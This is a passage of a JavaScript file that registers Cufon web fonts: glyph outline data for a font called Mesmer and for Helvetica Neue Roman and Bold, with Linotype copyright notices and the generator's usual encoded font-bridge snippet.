3,-51,9v-7,10,-22,18,-41,18v-59,-3,-72,-39,-73,-105v-1,-61,16,-89,64,-98xm90,-42v37,1,32,-44,31,-79v-1,-22,-9,-33,-30,-33v-29,0,-28,34,-28,65v0,31,9,47,27,47","w":189},{"d":"40,5v-15,0,-25,-12,-25,-27r0,-154v-3,-28,41,-37,47,-12v18,-20,68,-22,68,15v0,40,-75,-5,-63,54v-6,44,20,124,-27,124","w":119},{"d":"79,26v-27,-1,-65,8,-64,-20r0,-271v-1,-28,37,-19,64,-20v12,-1,24,11,23,23v0,16,-14,25,-33,23r0,219v20,-2,33,6,33,24v1,12,-11,22,-23,22","w":103},{"d":"42,-64v49,4,26,92,-11,94v-16,1,-30,-11,-25,-28v16,-16,0,-69,36,-66xm41,-136v-18,0,-27,-15,-28,-32v0,-17,10,-33,28,-33v17,0,29,14,29,32v0,20,-10,33,-29,33","w":77},{"d":"118,-263v49,0,95,20,99,62v3,31,-42,33,-52,9v-12,-14,-22,-22,-44,-22v-51,0,-56,46,-56,101v0,40,15,71,59,71v33,0,50,-22,43,-57v-21,-6,-66,7,-65,-26v1,-39,58,-20,93,-24v38,-5,27,40,27,72v0,53,-41,82,-99,81v-86,-2,-114,-40,-114,-133v0,-81,33,-133,109,-134","w":235}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+135-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("e%t)fljq(b8demB_5l@h1%18Vnj)tl8dVn*h(b]vtMa-uNqk,nweVXIhcH@K5l)B,I8E(v+{bl?95{1=c{Byt)?)cKFhjB?9{mw)b@8}}vWNuM]d>,5JVXIhcHEqVXIhcHEN~hL=]vCB9XcnjVZkVXI=c%E=y@IWtvE-VXIhcH@Lck)t*kZwjE*95{F=tH5bMqqAVm8CcM=k*%U0V,JZI,@1j65#uNFwmHE@%X1*e;cj}~C],{IMbVut(f95y>zUkKLBlvAZG#-+d0=?hNq)n6WJs_a8:.B95{1=c{U@ILjL9B-_]h1d96w-(VCA1k1Z;%L8cm?=~b1d9m?-~VFdf%Mdt6]A;%98ukJl;l5-yVwA9N)_>{+ZtkUk;l8#~,8yeHas5656VmWZ~hz.}kW#VmJBt%M-fb@dt%Bv(V]Uf@=dun8+>mW#VmJ-fnjUfX=de)=d9nBB9v*Uuv*U5l89;lJB5X?ntbBdun?ZflBK9)=dun8+>mW#VmJntbBdun?ZflBK9)=dun8+e,C0(,JqtVjqe%?0un@q(b8d;lU096]dub)Be,Blf61A}nLafH-#enLZt)+KbnB5V{)=bnB5>,LAe,Fz")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":216,"face":{"font-family":"Mesmer","font-weight":500,"font-stretch":"normal","units-per-em":"360","panose-1":"0 0 0 0 0 0 0 0 0 0","ascent":"288","descent":"-72","x-height":"3","cap-height":"4","bbox":"-13 -302.525 297.231 64.063","underline-thickness":"7.2","underline-position":"-51.84","unicode-range":"U+0020-U+2026"}}));




/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright © 1988, 1990, 1993, 2003 Linotype Library GmbH, www.linotype.com. All
 * rights reserved. Copyright © 1988, 1990, 1993 Adobe Systems Incorporated. All
 * Rights Reserved.
 * 
 * Trademark:
 * Helvetica, Neue Helvetica is a trademark of Heidelberger Druckmaschinen AG
 * which may be registered in certain jurisdictions, exclusively licensed through
 * Linotype Library GmbH, a wholly owned subsidiary of Heidelberger Druckmaschinen
 * AG.
 * 
 * Full name:
 * HelveticaNeueLTPro-Roman
 * 
 * Description:
 * Copyright © 1988, 1990, 1993, 2003 Linotype Library GmbH, www.linotype.com. All
 * rights reserved. Copyright © 1988, 1990, 1993 Adobe Systems Incorporated. All
 * Rights Reserved.
 * 
 * Designer:
 * Linotype Library GmbH
 * 
 * Vendor URL:
 * http://www.Linotype.com
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"24,-217r0,-40r40,0v2,44,1,92,-40,93r0,-18v16,0,21,-18,21,-35r-21,0xm90,-217r0,-40r40,0v2,44,1,92,-40,93r0,-18v16,0,21,-18,21,-35r-21,0","w":153},{"d":"48,-140v10,47,121,18,121,86v0,45,-41,58,-79,58v-42,0,-77,-17,-79,-63r31,0v1,27,25,36,50,36v19,0,45,-4,45,-27v0,-48,-122,-16,-122,-88v0,-37,37,-52,70,-52v42,0,73,13,76,58r-31,0v-2,-24,-23,-31,-43,-31v-18,0,-39,4,-39,23","w":180},{"d":"184,-186r0,170v0,61,-28,92,-87,92v-35,0,-75,-15,-77,-55r31,0v1,22,28,30,48,30v44,1,61,-37,55,-83v-10,23,-34,34,-58,34v-55,0,-83,-43,-83,-94v0,-44,21,-98,86,-98v24,-1,43,12,56,31r0,-27r29,0xm98,-25v72,0,77,-137,2,-138v-39,0,-55,31,-55,67v0,33,13,71,53,71","w":206},{"d":"267,-186r-60,186r-32,0r-39,-148r-37,148r-33,0r-60,-186r34,0r43,152r37,-152r34,0r39,152r42,-152r32,0","w":272},{"d":"23,0r0,-186r29,0v1,9,-2,22,1,29v13,-23,33,-33,60,-33v94,-2,56,109,64,190r-30,0r0,-126v0,-23,-15,-37,-38,-37v-76,-1,-51,94,-55,163r-31,0"},{"d":"25,0r0,-257r30,0r0,257r-30,0","w":79},{"d":"24,0r0,-257r31,0r0,96v10,-21,34,-29,60,-29v57,0,86,44,86,97v0,53,-28,97,-85,97v-19,0,-48,-7,-61,-29r0,25r-31,0xm168,-95v0,-35,-17,-68,-57,-68v-41,0,-57,35,-57,70v0,36,16,70,58,70v42,0,56,-36,56,-72","w":213},{"d":"117,-226v-17,38,-29,81,-45,120r87,0xm-3,0r101,-257r38,0r100,257r-38,0r-28,-77r-108,0r-29,77r-36,0","w":233},{"d":"183,-251r0,26v-51,51,-93,145,-98,225r-34,0v6,-86,47,-165,101,-222r-134,0r0,-29r165,0"},{"d":"180,-190r-31,0v-3,-23,-19,-38,-43,-38v-51,-1,-63,60,-61,97v37,-63,142,-29,142,50v0,37,-21,85,-85,85v-76,0,-88,-69,-88,-122v0,-70,21,-137,94,-137v42,0,68,23,72,65xm103,-137v-34,0,-53,25,-53,57v0,32,20,57,53,57v33,0,51,-26,51,-56v0,-32,-16,-58,-51,-58"},{"d":"23,0r0,-257r31,0r0,98v10,-23,37,-31,59,-31v94,-2,56,109,64,190r-30,0r0,-126v0,-23,-15,-37,-38,-37v-76,-1,-51,94,-55,163r-31,0"},{"d":"70,-186r0,40r-40,0r0,-40r40,0xm30,0r0,-40r40,0v2,47,0,82,-40,93r0,-18v16,-6,22,-23,21,-35r-21,0","w":100},{"d":"36,-87r86,0r-1,-125xm151,-255r0,168r34,0r0,27r-34,0r0,60r-29,0r0,-60r-112,0r0,-29r116,-166r25,0"},{"d":"45,-111r107,0v-2,-29,-22,-52,-53,-52v-32,0,-52,23,-54,52xm152,-59r30,0v-8,41,-38,63,-80,63v-59,0,-89,-41,-89,-98v0,-56,36,-96,87,-96v66,0,87,61,85,106r-140,0v-1,32,17,61,58,61v26,0,44,-12,49,-36","w":193},{"d":"36,0r0,-159r-32,0r0,-27r32,0v-8,-53,19,-85,71,-71r0,27v-18,-6,-41,-5,-41,18r0,26r36,0r0,27r-36,0r0,159r-30,0","w":106},{"d":"55,-257r0,37r-30,0r0,-37r30,0xm55,-186r0,210v0,39,-24,51,-60,46r0,-26v21,1,30,1,30,-25r0,-205r30,0","w":79},{"d":"93,-263r0,24r-38,0r0,286r38,0r0,24r-67,0r0,-334r67,0","w":93},{"d":"329,-257r-69,257r-35,0r-60,-216r-59,216r-36,0r-66,-257r35,0r51,214r58,-214r37,0r58,214r52,-214r34,0","w":333},{"d":"43,-9r-17,-17r65,-65r-65,-65r17,-18r65,65r65,-65r17,18r-64,65r65,65r-17,17r-66,-65","w":216},{"d":"28,0r0,-257r178,0r0,29r-144,0r0,81r134,0r0,29r-134,0r0,89r145,0r0,29r-179,0","w":219},{"d":"20,-263r106,269r-26,0r-106,-269r26,0","w":119},{"d":"70,-113v25,0,56,26,77,26v15,0,22,-15,31,-28r13,18v-10,15,-23,31,-45,31v-29,1,-47,-27,-78,-26v-16,0,-24,15,-30,28r-13,-18v8,-15,21,-31,45,-31","w":216},{"d":"181,-126r-32,0v-5,-23,-20,-37,-46,-37v-44,0,-58,35,-58,72v0,35,16,68,55,68v30,0,47,-17,51,-45r31,0v-7,46,-35,72,-82,72v-57,0,-87,-39,-87,-95v0,-56,29,-99,88,-99v42,0,75,20,80,64","w":193},{"d":"28,0r0,-257r34,0r0,110r136,0r0,-110r34,0r0,257r-34,0r0,-118r-136,0r0,118r-34,0","w":259},{"d":"222,-199r-34,120v0,7,3,11,9,11v22,0,50,-43,50,-82v0,-57,-48,-93,-98,-93v-62,0,-109,52,-109,115v0,107,141,153,200,71r23,0v-23,40,-67,63,-113,63v-76,0,-135,-60,-135,-136v0,-74,61,-133,134,-133v67,0,122,46,122,111v0,62,-51,104,-84,104v-14,0,-20,-9,-24,-23v-27,41,-96,25,-96,-33v0,-50,33,-102,84,-102v17,0,33,7,41,29r8,-22r22,0xm151,-182v-33,0,-57,44,-57,75v0,20,13,35,31,35v31,0,55,-46,55,-76v0,-17,-14,-34,-29,-34","w":288},{"d":"62,-228r0,81v51,-1,126,10,123,-41v-4,-60,-72,-34,-123,-40xm28,-257v83,3,192,-21,192,63v0,27,-15,48,-39,58v78,18,59,136,-29,136r-124,0r0,-257xm62,-118r0,89v57,-2,137,15,134,-46v-2,-60,-78,-39,-134,-43","w":246},{"d":"8,0r0,-29r160,-199r-148,0r0,-29r188,0r0,29r-159,199r163,0r0,29r-204,0","w":219},{"d":"0,45r0,-18r180,0r0,18r-180,0","w":180},{"d":"24,71r0,-257r31,0r0,25v10,-21,34,-29,60,-29v57,0,86,44,86,97v0,53,-28,97,-85,97v-19,0,-48,-7,-61,-29r0,96r-31,0xm168,-95v0,-35,-17,-68,-57,-68v-41,0,-57,35,-57,70v0,36,16,70,58,70v42,0,56,-36,56,-72","w":213},{"d":"128,-255r0,255r-30,0r0,-183r-67,0r0,-24v35,0,67,-9,74,-48r23,0"},{"d":"45,-93v0,45,26,70,58,70v32,0,58,-25,58,-70v0,-45,-26,-70,-58,-70v-32,0,-58,25,-58,70xm13,-93v0,-55,31,-97,90,-97v59,0,91,42,91,97v0,54,-32,97,-91,97v-59,0,-90,-43,-90,-97","w":206},{"d":"-6,6r106,-269r26,0r-106,269r-26,0","w":119},{"d":"22,0r0,-186r29,0r0,39v15,-30,36,-44,69,-43r0,32v-81,-5,-66,83,-67,158r-31,0","w":119},{"d":"9,71r0,-21v51,11,35,-54,35,-97v0,-34,24,-44,31,-49v-8,-1,-31,-13,-31,-49v0,-38,21,-106,-35,-97r0,-21v39,-3,64,5,64,47v0,42,-7,109,30,108r0,24v-35,0,-30,66,-30,108v0,42,-25,50,-64,47","w":119},{"d":"45,-91v0,35,18,68,58,68v41,0,57,-35,57,-70v0,-36,-17,-70,-59,-70v-42,0,-56,36,-56,72xm189,-186r0,257r-30,0r-1,-96v-10,21,-33,29,-59,29v-57,0,-86,-45,-86,-98v0,-82,94,-130,146,-67r0,-25r30,0","w":213},{"d":"128,-153r-45,0r-7,54r44,0xm37,0r10,-74r-35,0r0,-25r39,0r7,-54r-36,0r0,-24r40,0r10,-74r25,0r-11,74r45,0r10,-74r25,0r-10,74r32,0r0,24r-35,0r-8,54r33,0r0,25r-37,0r-10,74r-25,0r11,-74r-45,0r-10,74r-25,0"},{"d":"17,3r0,-25r153,-69r-153,-70r0,-24r182,83r0,22","w":216},{"d":"229,0r-9,-32v-20,27,-52,38,-82,38v-77,0,-123,-62,-123,-129v0,-75,42,-140,123,-140v56,0,101,25,110,85r-34,0v-7,-39,-37,-56,-76,-56v-62,0,-88,54,-88,109v0,54,31,102,88,102v53,0,84,-37,82,-84r-82,0r0,-28r113,0r0,135r-22,0","w":273},{"d":"20,71r-24,0v67,-105,64,-228,0,-334r24,0v72,101,76,233,0,334","w":93},{"d":"0,-86r0,-28r180,0r0,28r-180,0","w":180},{"d":"111,-263r0,21v-51,-11,-35,54,-35,97v0,34,-24,45,-31,50v8,1,31,12,31,48v0,38,-21,105,35,97r0,21v-39,3,-64,-5,-64,-47v0,-42,6,-108,-30,-108r0,-24v36,0,30,-66,30,-108v0,-42,25,-50,64,-47","w":119},{"d":"30,-217r0,-40r40,0v2,44,1,92,-40,93r0,-18v16,0,21,-18,21,-35r-21,0","w":100},{"d":"38,-164r0,-93r24,0r0,93r-24,0","w":100},{"d":"221,-257r-92,257r-39,0r-90,-257r37,0r74,223r74,-223r36,0","w":219},{"d":"175,-186r-68,186r-33,0r-69,-186r34,0r53,155r51,-155r32,0","w":180},{"d":"18,-95r78,-156r24,0r78,156r-25,0r-65,-130r-64,130r-26,0","w":216},{"d":"188,-24r0,23v-18,9,-51,7,-48,-23v-31,41,-126,42,-127,-24v0,-42,31,-51,63,-57v33,-7,63,-4,63,-27v0,-48,-90,-40,-88,4r-31,0v2,-46,37,-62,79,-62v33,0,70,7,70,51r0,95v-2,19,4,24,19,20xm81,-23v55,0,60,-27,57,-73v-24,18,-93,0,-93,46v0,20,17,27,36,27","w":193},{"d":"177,-186r-81,211v-17,44,-35,58,-75,46r0,-28v17,8,36,6,43,-12r13,-32r-74,-185r34,0r56,152r52,-152r32,0","w":180},{"d":"97,71r-24,0v-72,-101,-76,-233,0,-334r24,0v-67,105,-64,228,0,334","w":93},{"d":"39,-212r-47,-52r39,0r31,52r-23,0","w":79},{"d":"56,-189v0,28,20,41,45,41v24,0,42,-15,42,-41v0,-26,-18,-39,-43,-39v-24,0,-44,13,-44,39xm23,-190v0,-42,36,-65,75,-65v89,0,100,89,42,118v31,10,46,32,46,64v0,49,-38,77,-85,77v-49,0,-87,-25,-87,-77v0,-30,16,-54,45,-64v-22,-9,-36,-30,-36,-53xm47,-72v0,31,22,49,54,49v31,0,52,-21,52,-49v0,-27,-23,-49,-52,-49v-30,0,-54,19,-54,49"},{"d":"86,0r0,-228r-85,0r0,-29r205,0r0,29r-85,0r0,228r-35,0","w":206},{"d":"45,-91v0,35,18,68,58,68v41,0,57,-35,57,-70v0,-36,-17,-70,-59,-70v-42,0,-56,36,-56,72xm189,-257r0,257r-30,0v-1,-8,2,-19,-1,-25v-10,21,-33,29,-59,29v-57,0,-86,-45,-86,-98v0,-82,94,-130,146,-67r0,-96r30,0","w":213},{"d":"280,0r0,-40r40,0r0,40r-40,0xm160,0r0,-40r40,0r0,40r-40,0xm40,0r0,-40r40,0r0,40r-40,0","w":360},{"d":"62,-228r0,199r57,0v23,0,87,-6,87,-101v0,-61,-23,-98,-86,-98r-58,0xm28,0r0,-257r88,0v79,0,124,40,124,122v0,86,-38,135,-124,135r-88,0","w":253},{"d":"9,0v-3,-104,134,-102,136,-182v0,-28,-22,-46,-49,-46v-36,0,-51,32,-50,63r-30,0v-3,-52,28,-90,82,-90v44,0,80,25,80,73v0,87,-118,90,-134,155r131,0r0,27r-166,0"},{"d":"28,0r0,-257r169,0r0,29r-135,0r0,81r118,0r0,29r-118,0r0,118r-34,0","w":206},{"d":"8,0r0,-23r112,-136r-105,0r0,-27r145,0r0,21r-114,138r119,0r0,27r-157,0","w":172},{"d":"48,-126v0,38,0,103,52,103v52,0,53,-65,53,-103v0,-38,-1,-102,-53,-102v-52,0,-52,64,-52,102xm15,-125v0,-56,5,-130,85,-130v80,0,85,74,85,130v0,56,-5,129,-85,129v-80,0,-85,-73,-85,-129"},{"d":"30,0r0,-40r40,0v2,47,0,82,-40,93r0,-18v16,-6,22,-23,21,-35r-21,0","w":100},{"d":"18,-62r30,0v3,25,23,39,47,39v36,0,59,-36,57,-99v-35,66,-140,31,-140,-50v0,-49,35,-83,84,-83v48,0,88,26,88,122v0,88,-27,137,-89,137v-43,0,-73,-22,-77,-66xm147,-170v0,-31,-18,-58,-52,-58v-36,0,-50,29,-50,60v0,28,20,54,50,54v32,0,52,-26,52,-56"},{"d":"72,-257r0,41r39,-15r7,18r-39,13r24,33r-15,11r-25,-34r-23,34r-17,-11r24,-33r-38,-13r6,-18r38,15r0,-41r19,0","w":126},{"d":"66,-242r0,56r37,0r0,27r-37,0r0,115v-4,19,18,17,37,17r0,27v-40,0,-68,3,-68,-41r0,-118r-32,0r0,-27r32,0r0,-56r31,0","w":113},{"d":"3,0r70,-98r-65,-88r40,0r44,65r47,-65r36,0r-64,86r72,100r-39,0r-52,-77r-52,77r-37,0","w":186},{"d":"90,-164r0,-93r24,0r0,93r-24,0xm39,-164r0,-93r25,0r0,93r-25,0","w":153},{"d":"60,-183v0,21,3,52,30,52v27,0,32,-30,32,-52v0,-21,-4,-52,-31,-52v-27,0,-31,30,-31,52xm33,-182v0,-39,14,-73,58,-73v45,0,58,33,58,72v0,37,-16,72,-58,72v-43,0,-58,-32,-58,-71xm238,-68v0,21,3,53,30,53v27,0,32,-31,32,-53v0,-21,-4,-52,-31,-52v-27,0,-31,30,-31,52xm211,-67v0,-39,14,-73,58,-73v45,0,58,33,58,72v0,37,-16,72,-58,72v-43,0,-58,-32,-58,-71xm68,8r193,-268r31,0r-193,268r-31,0","w":360},{"d":"28,0r0,-257r34,0r0,128r131,-128r44,0r-108,104r112,153r-43,0r-93,-130r-43,40r0,90r-34,0","w":240},{"d":"27,0r0,-40r40,0r0,40r-40,0xm64,-257v2,68,-4,130,-9,191r-16,0r-9,-112r0,-79r34,0","w":93},{"d":"78,0r0,-40r40,0r0,40r-40,0xm176,-191v1,62,-69,62,-62,128r-30,0v-8,-74,62,-75,60,-131v-2,-26,-18,-42,-44,-42v-35,0,-50,26,-50,59r-30,0v-1,-49,30,-86,80,-86v45,0,76,26,76,72"},{"d":"28,77r0,-360r24,0r0,360r-24,0","w":79},{"d":"120,-182r0,79r79,0r0,24r-79,0r0,79r-24,0r0,-79r-79,0r0,-24r79,0r0,-79r24,0","w":216},{"d":"17,-42r0,-25r182,0r0,25r-182,0xm199,-140r0,25r-182,0r0,-25r182,0","w":216},{"d":"177,-186r0,186r-29,0r0,-30v-13,23,-34,34,-61,34v-94,2,-56,-109,-64,-190r31,0r0,126v0,23,14,37,37,37v77,1,52,-93,56,-163r30,0"},{"d":"159,-257r0,193v0,35,-18,70,-76,70v-54,0,-79,-32,-75,-91r34,0v-1,36,5,62,42,62v31,0,41,-18,41,-46r0,-188r34,0","w":186},{"w":100},{"d":"9,-78r31,0v1,32,21,50,50,55r0,-95v-51,-13,-73,-28,-73,-70v0,-44,32,-72,73,-75r0,-24r20,0r0,24v39,5,61,29,71,71r-31,0v-5,-24,-18,-37,-40,-41r0,88v36,9,79,17,79,73v0,46,-33,74,-79,78r0,30r-20,0r0,-30v-48,-5,-77,-34,-81,-84xm110,-113r0,90v27,-2,47,-15,47,-46v0,-27,-21,-36,-47,-44xm90,-150r0,-84v-23,3,-41,16,-41,43v0,25,17,34,41,41"},{"d":"99,-158v15,-10,34,-23,34,-45v0,-15,-11,-27,-29,-27v-14,0,-30,8,-30,27v0,15,14,31,25,45xm192,0r-27,-32v-15,24,-45,36,-73,36v-69,0,-80,-49,-80,-70v0,-40,27,-61,60,-78v-38,-35,-41,-111,30,-113v32,0,62,18,62,53v0,31,-23,52,-48,66r46,57v5,-13,7,-26,8,-40r29,0v-3,31,-6,40,-17,63r50,58r-40,0xm148,-53r-59,-71v-24,13,-45,28,-45,58v0,54,83,55,104,13","w":226},{"d":"144,-53r18,-20r34,27v53,-56,39,-188,-59,-188v-121,1,-120,210,0,211v13,0,24,-2,35,-7xm255,1r-17,21r-40,-31v-17,10,-37,15,-61,15v-82,0,-123,-65,-123,-135v0,-70,41,-134,123,-134v127,0,157,162,84,237","w":273},{"d":"47,-86r0,-28r266,0r0,28r-266,0","w":360},{"d":"78,-120r0,-26v33,5,62,-9,62,-41v0,-27,-19,-41,-45,-41v-33,0,-48,25,-48,55r-31,0v2,-49,28,-82,79,-82v44,0,78,21,78,68v1,24,-17,41,-35,52v31,7,46,31,46,62v0,51,-40,77,-88,77v-52,0,-86,-30,-85,-83r30,0v1,33,20,56,55,56v30,0,55,-18,55,-49v0,-39,-33,-54,-73,-48"},{"d":"64,-204r0,40r-40,0v-1,-44,-2,-92,39,-93r0,18v-16,0,-21,18,-21,35r22,0xm130,-204r0,40r-40,0v-1,-44,-2,-92,39,-93r0,18v-16,0,-21,18,-21,35r22,0","w":153},{"d":"199,-185r0,24r-153,70r153,69r0,25r-182,-83r0,-22","w":216},{"d":"28,0r0,-257r34,0r0,228r136,0r0,29r-170,0"},{"d":"28,0r0,-257r36,0r136,208r0,-208r33,0r0,257r-38,0r-135,-206r0,206r-32,0","w":259},{"d":"0,71r0,-24r39,0r0,-286r-39,0r0,-24r67,0r0,334r-67,0","w":93},{"d":"334,-257r0,148r-25,0r0,-124r-49,124r-16,0r-49,-124r0,124r-24,0r0,-148r37,0r45,113r43,-113r38,0xm140,-257r0,20r-46,0r0,128r-25,0r0,-128r-46,0r0,-20r117,0","w":356},{"d":"0,0r89,-132r-84,-125r41,0r64,100r67,-100r38,0r-85,125r90,132r-41,0r-70,-106r-71,106r-38,0","w":219},{"d":"233,-257r-99,152r0,105r-34,0r0,-105r-99,-152r40,0r77,122r76,-122r39,0","w":233},{"d":"30,0r0,-40r40,0r0,40r-40,0","w":100},{"d":"209,-182r-32,0v-4,-37,-28,-52,-64,-52v-29,0,-58,11,-58,44v0,63,165,18,165,119v0,55,-53,77,-100,77v-58,0,-107,-29,-107,-91r33,0v0,43,36,62,75,62v31,0,65,-9,65,-46v0,-71,-165,-25,-165,-119v0,-52,46,-75,93,-75v53,0,93,24,95,81","w":233},{"d":"198,0v-17,-27,9,-110,-52,-110r-84,0r0,110r-34,0r0,-257r121,0v87,-9,105,110,34,132v56,12,26,87,53,125r-38,0xm62,-139v57,-4,128,17,131,-45v3,-58,-77,-42,-131,-44r0,89","w":246},{"d":"243,-180r-34,0v-8,-36,-36,-54,-72,-54v-61,0,-87,50,-87,104v0,59,25,107,87,107v45,0,71,-32,74,-74r35,0v-7,64,-47,103,-112,103v-80,0,-119,-59,-119,-134v0,-75,43,-135,122,-135v54,0,98,28,106,83","w":259},{"d":"137,-234v-121,1,-120,210,0,211v120,-1,120,-210,0,-211xm14,-129v0,-70,41,-134,123,-134v82,0,123,64,123,134v0,70,-41,135,-123,135v-82,0,-123,-65,-123,-135","w":273},{"d":"62,-228r0,94v55,0,129,9,123,-47v6,-55,-68,-47,-123,-47xm28,0r0,-257r113,0v51,0,79,28,79,76v0,48,-28,76,-79,76r-79,0r0,105r-34,0","w":233},{"d":"29,0r0,-257r47,0r81,216r81,-216r47,0r0,257r-33,0r0,-214r-81,214r-29,0r-81,-214r0,214r-32,0","w":313},{"d":"70,-204r0,40r-40,0v-2,-44,-1,-92,40,-93r0,18v-16,0,-21,18,-21,35r21,0","w":100},{"w":100},{"d":"23,0r0,-186r29,0v1,8,-2,21,1,27v22,-38,93,-46,111,0v25,-46,120,-44,120,23r0,136r-31,0r0,-122v0,-23,-6,-41,-36,-41v-72,-1,-42,99,-48,163r-31,0r0,-122v0,-24,-8,-41,-35,-41v-79,0,-40,93,-49,163r-31,0","w":307},{"d":"70,-186r0,40r-40,0r0,-40r40,0xm30,0r0,-40r40,0r0,40r-40,0","w":100},{"d":"233,-257r0,164v0,65,-37,99,-101,99v-66,0,-105,-31,-105,-99r0,-164r34,0r0,164v0,46,25,70,71,70v102,0,58,-144,67,-234r34,0","w":259},{"d":"30,0r0,-257r34,0r0,257r-34,0","w":93},{"d":"169,-251r0,27r-103,0r-13,74v50,-41,130,-10,130,69v0,43,-30,85,-89,85v-44,0,-80,-27,-81,-73r30,0v2,26,23,46,54,46v29,0,54,-20,54,-60v0,-57,-77,-77,-105,-34r-27,-1r24,-133r126,0"},{"d":"25,0r0,-257r30,0r0,152r85,-81r41,0r-73,68r79,118r-39,0r-64,-97r-29,26r0,71r-30,0","w":186},{"d":"55,-257r0,37r-30,0r0,-37r30,0xm25,0r0,-186r30,0r0,186r-30,0","w":79},{"d":"18,-86r0,-28r104,0r0,28r-104,0","w":140}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+76-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("=:(0}5SfVNZF=8YrC5w]_:_ZR$S0(5ZFR$Q]VN~k(W@L,vfMR4A]%jw+m$Cx}5XM7[m$VjLf(N(nN0CmC[|9(jCwRwXP,fa|7YJ#mjwTR8Z]#Rq3E+mJR4A]%jqv*0X0%3|XeOCNCYHa*Oa?ew~+R4A]%j_$~jQ:*3|LeOJf*w9MQALaEx9y|D8jqw:4_Q=&%SeE7~O[AWNR,(V}mC*#?aM3+Y5kpJnyLbFT9X]vf0$xcHor@ZPuERW=R4A9%:q9Q8(~R4A]%jqf%0X0%3|X,vX%[Y0mC[_X%3Q,NOH[A+SEAq0mC[_9%[??}[JWO[WyVOfM&kS9}:Yf=8_M=OXJE[|Lmj0M&k|L}j09&5XY}5CfV8XkEN_F(MHk}4Y9V4%Z*xfrVN,p,MHTVvfTRM?uekCxC09F=[@pEvpF=09F(N~Y}:0a}5~J($Yf,NXm&5ST}R9F=09F}:Z3,NX@&Mbm&kSJ(RQ],NQ],R(TR8HF(R~@C5WJ}5SLVNHJ,xSm&5ST}R9F=09FC5WJ}5SLVNHJ,xSm&5ST}O++&$+FC:WvC8aL}$SaC:YT}MHp}xSf}5wb(O+J(5Z]=jbJE:9r=]bJ=NC},0bJRWfZmwbJRRfJ=8+?")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":200,"face":{"font-family":"Helvetica Neue","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"2 11 6 4 2 2 2 2 2 4","ascent":"257","descent":"-103","x-height":"4","bbox":"-8 -287 334 77","underline-thickness":"18","underline-position":"-18","stemh":"27","stemv":"31","unicode-range":"U+0020-U+2122"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright © 1988, 1990, 1993, 2003 Linotype Library GmbH, www.linotype.com. All
 * rights reserved. Copyright © 1988, 1990, 1993 Adobe Systems Incorporated. All
 * Rights Reserved.
 * 
 * Trademark:
 * Helvetica, Neue Helvetica is a trademark of Heidelberger Druckmaschinen AG
 * which may be registered in certain jurisdictions, exclusively licensed through
 * Linotype Library GmbH, a wholly owned subsidiary of Heidelberger Druckmaschinen
 * AG.
 * 
 * Full name:
 * HelveticaNeueLTPro-Bd
 * 
 * Description:
 * Copyright © 1988, 1990, 1993, 2003 Linotype Library GmbH, www.linotype.com. All
 * rights reserved. Copyright © 1988, 1990, 1993 Adobe Systems Incorporated. All
 * Rights Reserved.
 * 
 * Designer:
 * Linotype Library GmbH
 * 
 * Vendor URL:
 * http://www.Linotype.com
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"224,-196r-26,108v0,5,2,8,6,8v21,0,43,-27,43,-66v0,-57,-43,-88,-98,-88v-62,0,-101,45,-101,106v0,97,121,136,183,76r30,0v-24,37,-64,58,-109,58v-77,0,-139,-58,-139,-135v0,-76,62,-134,137,-134v65,0,125,44,125,110v0,74,-62,104,-85,104v-16,1,-24,-10,-27,-20v-29,43,-95,9,-95,-41v0,-62,79,-130,121,-67r5,-19r30,0xm149,-168v-42,-3,-65,81,-16,85v42,3,64,-81,16,-85","w":288},{"d":"189,-186r-78,209v-12,40,-48,47,-95,41r0,-42v29,6,58,-3,47,-34r-65,-174r55,0r42,127r41,-127r53,0","w":186},{"d":"108,-153v-61,0,-62,120,-1,120v33,0,45,-28,45,-59v0,-29,-12,-61,-44,-61xm201,-186r0,252r-51,0r-1,-89v-12,20,-36,28,-59,28v-34,0,-78,-25,-78,-97v0,-51,26,-99,83,-99v23,0,45,8,57,29r0,-24r49,0","w":219},{"d":"194,-186r0,186r-49,0v-1,-8,2,-20,-1,-26v-13,21,-35,31,-57,31v-97,2,-61,-108,-68,-191r52,0r0,105v0,31,8,46,32,46v59,0,35,-96,40,-151r51,0","w":213},{"d":"72,-257r0,42r-51,0r0,-42r51,0xm21,0r0,-186r51,0r0,186r-51,0","w":92},{"d":"120,-263r0,40v-24,-3,-39,5,-39,26r0,55v0,37,-27,40,-36,44v10,1,36,9,36,39v0,38,-20,93,39,84r0,41v-49,1,-90,4,-90,-49r0,-70v0,-22,-21,-30,-33,-30r0,-31v12,0,33,-9,33,-33r0,-68v6,-53,41,-49,90,-48","w":119},{"d":"113,-33v58,0,64,-120,0,-120v-61,0,-60,120,0,120xm19,66r0,-252r49,0v1,7,-2,18,1,24v13,-20,32,-29,55,-29v58,0,85,47,85,100v0,50,-27,96,-82,96v-23,0,-43,-10,-56,-28r0,89r-52,0","w":219},{"d":"132,-53v0,-35,-117,-19,-117,-78v0,-48,41,-60,81,-60v